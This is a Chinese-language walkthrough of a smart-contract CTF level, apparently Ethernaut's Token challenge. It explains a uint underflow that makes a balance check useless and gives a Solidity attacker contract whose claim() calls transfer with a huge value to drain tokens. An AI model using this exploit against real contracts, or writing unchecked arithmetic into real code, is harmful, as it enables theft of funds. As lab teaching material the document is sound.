本關重點在uint underflow的處理上,我們可以看到transfer函數的require檢查代碼:
require(balances[msg.sender] - _value >= 0);
由於balances[msg.sender]跟_value的型態都是uint,參考官方文檔,uint代表了unsigned integers,即無負數整數。
若_value大於balances[msg.sender]則會觸發underflow,並且balances[msg.sender] – _value永遠不會少於零,檢查失效。
現在的智能合約大多在數字運算都會使用SafeMath庫,在出現overflow或是underflow的情況下直接revert,在這方面只要小心一點不容易犯錯。
首先打開Console (F12),輸入
> instance
下方會回傳當前關卡合約地址。
然後打開Remix IDE,新建檔案Token.sol貼上:
pragma solidity ^0.6.0;
import "./SafeMath.sol";
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
contract Token {
using SafeMath for uint256;
address levelInstance;
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}
在constructor填入關卡合約地址後發佈。
在Remix IDE中,呼叫claim函數。最後按提交,本關完成。